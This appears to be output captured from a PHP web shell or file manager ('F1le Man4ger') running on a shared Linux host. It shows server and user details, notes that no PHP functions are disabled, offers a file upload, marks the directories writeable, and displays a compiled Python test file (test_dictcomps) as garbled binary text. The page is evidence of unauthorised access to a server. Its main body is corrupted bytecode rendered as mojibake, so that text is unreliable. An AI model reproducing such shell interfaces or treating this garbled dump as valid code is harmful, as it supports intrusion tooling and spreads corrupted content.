Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/test/__pycache__/test_dictcomps.cpython-38.opt-1.pyc
U

>��g��@s2ddlZdZGdd�dej�Zedkr.e��dS)�N�Global variablec@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�DictComprehensionTestcCstddddddddd	d
d�
}dd
�td�D�}|�||�ddddddddddd�
}dd
�td�D�}|�||�dS)N�
���
�������
r���������	cSsi|]}||d�qS�r���.0�krr�2/opt/cppython/lib/python3.8/test/test_dictcomps.py�
<dictcomp>sz5DictComprehensionTest.test_basics.<locals>.<dictcomp>rrrrrrrrrrcSs(i|] }td�D]}||kr||�qqSr��range�rr�vrrrrs
�r �assertEqual��self�expected�actualrrr�test_basics	s�z!DictComprehensionTest.test_basicsc.Cs�d}ddddddddddd�
}dd�td�D�}|�||�|�|d�ddddddd	d	d	d	d
d
d
d
d
dddddddddddddd
d
d
d
d
d
d
d
dddddddddd�-}dd�td�D�}|�|d�|�||�dS)NzLocal VariablercSsi|]
}|d�qS�Nrrrrrrsz>DictComprehensionTest.test_scope_isolation.<locals>.<dictcomp>rrrrrrrrrr�-rrr
����$�%�&�'�-�.�/�0�1�6�7�8�9�:�;�?�@�A�B�C�D�E�H�I�J�K�L�M�N�O�Q�R�S�T�U�V�W�X�YcSs*i|]"}t|d|d�D]
}||�qqS�rrr)rr"rrrrr"s
r#)r&rr'r(rrr�test_scope_isolationsh��z*DictComprehensionTest.test_scope_isolationc.Cs�ddddddddddd�
}dd�td�D�}|�||�|�td�ddddddd	d	d	d	d
d
d
d
d
dddddddddddddd
d
d
d
d
d
d
d
dddddddddd�-}dd�td�D�}|�td�|�||�dS)NrcSsi|]
}|d�qSr*r)r�grrrr)szJDictComprehensionTest.test_scope_isolation_from_global.<locals>.<dictcomp>rrrrrrrrrrrr+cSs*i|]"}t|d|d�D]
}||�qqSrVr)rr"rXrrrr3s
)r r$rXr%rrr� test_scope_isolation_from_global&sf��z6DictComprehensionTest.test_scope_isolation_from_globalcCs<ddddddddddd�
}dd�td�D�}|�||�dS)NrrcSsi|]
}|t�qSr)rXrrrrr=sz@DictComprehensionTest.test_global_visibility.<locals>.<dictcomp>rr#r%rrr�test_global_visibility7s�z,DictComprehensionTest.test_global_visibilitycsPd�ddddddddddd�
}�fdd�td�D�}|�||�|��d�dS)NzLocal variablercsi|]
}|��qSrrr�r"rrrGsz?DictComprehensionTest.test_local_visibility.<locals>.<dictcomp>rr#r%rr[r�test_local_visibility@s�z+DictComprehensionTest.test_local_visibilityc	CsL|�td��tddd�W5QRX|�td��tddd�W5QRXdS)Nz
cannot assignz'{x: y for y, x in ((1, 2), (3, 4))} = 5z<test>�execz({x: y for y, x in ((1, 2), (3, 4))} += 5)ZassertRaisesRegex�SyntaxError�compile)r&rrr�test_illegal_assignmentKs��z-DictComprehensionTest.test_illegal_assignmentc
sjddddd�}dddd	d
dd
dd
dg
}g��fdd���fdd�tdd�D�}|�||�|��|�dS)N�W�o�l�d)�H�ercrb)�keyre)�valuera)rgrf)rhrb)rgrc)rh�r)rhrc)rgrb)rhrdcs��||f�|Sr*)�append)�posrh)�actual_callsrr�add_callfsz=DictComprehensionTest.test_evaluation_order.<locals>.add_callcs"i|]\}}�d|��d|��qS)rgrhrr!)rmrrrjs�z?DictComprehensionTest.test_evaluation_order.<locals>.<dictcomp>ZHelloZWorld)�zipr$)r&r'Zexpected_callsr(r)rlrmr�test_evaluation_orderTs.��
�z+DictComprehensionTest.test_evaluation_orderN)
�__name__�
__module__�__qualname__r)rWrYrZr\r`rorrrrrs
		r�__main__)ZunittestrXZTestCaserrp�mainrrrr�<module>sk

F1le Man4ger